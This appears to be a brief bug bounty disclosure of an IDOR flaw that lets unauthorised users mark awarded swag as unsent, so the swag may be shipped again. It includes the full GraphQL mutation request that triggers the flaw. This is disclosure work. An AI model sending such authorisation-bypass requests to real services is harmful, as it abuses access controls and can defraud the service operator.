Reporter, external users, collaborators can mark sent swag awarded to reporter as unsent

An Insecure Direct Object Reference (IDOR) vulnerability allow the reporter, external users, and collaborators to mark sent swag that was awarded to the reporter as unsent. This may result in swag being sent multiple times.

{"query":"mutation updateState($input_0:UpdateProgramSwagInput!) {updateProgramSwag(input:$input_0) { swag { _id } } }","variables":{"input_0":{"program_id":"Z2lkOi8vaGFja2Vyb25lL1RlYW0vMg==","swag_id":"Z2lkOi8vaGFja2Vyb25lL1N3YWcvMQ==","sent":false,"clientMutationId":"0"}}}